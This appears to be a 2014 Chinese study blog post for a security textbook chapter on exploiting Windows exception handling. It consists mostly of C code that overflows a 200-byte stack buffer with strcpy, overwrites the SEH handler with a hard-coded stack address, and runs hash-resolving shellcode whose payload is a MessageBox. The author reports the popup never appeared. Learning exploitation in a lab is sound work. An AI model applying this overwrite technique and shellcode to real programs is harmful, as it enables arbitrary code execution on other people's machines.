旧书重温：0day2【8】狙击windows的异常处理实验

现在进入0day2的第六章内容

其中第六章的书本内容我都拍成了图片格式放在了QQ空间中（博客园一张一传，太慢了）http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/   密码NQK3S

废话不说了，代码

 

 1 // 0day2_8.cpp : Defines the entry point for the console application.
 2 //
 3 
 4 #include "stdafx.h"
 5 #include <windows.h>
 6 #include <stdio.h>
 7 //    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 8 char shellcode[] ={
 9                 
10             
11                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\xcc\xcc\xcc"\
12                 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"\
13                 "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"\
14                 "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"\
15                 "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"\
16                 "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"\
17                 "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"\
18                 "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"\
19                 "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"\
20                 "\xFC\x53\xFF\x57\xF8"\
21                 
22                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9c\xfe\x12\x00"\
23 
24 
25                 };
26 DWORD MyExceptionHandler(void)
27 {
28     printf("got an exception,press enter to kill process!\n");
29     getchar();
30     ExitProcess(1);
31     return 0;
32 }
33 void Test(char * input)
34 {
35     char buf[200];
36     int zero = 0;
37     //__asm int 3
38     //printf("len %d \n",strlen(shellcode));
39     //_asm int 3
40     __try
41     {
42         strcpy(buf,input);
43     
44         zero=4/zero;
45     }
46     __except(MyExceptionHandler()){}
47 }
48 int main(int argc, char* argv[])
49 {
50     /*_asm{
51 
52     lea eax,dword ptr shellcode
53     call eax
54     }*/
55     Test(shellcode);
56     return 0;
57 }

 

这个实验 做了好久，弄了也好久，最后：我们可爱的msg就是弹不出来，打击了我的积极性，所以搁置了好久！

 

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posted @ 2014-01-12 20:42  zhenw0  Views(536)  Comments(0)  Edit  收藏  举报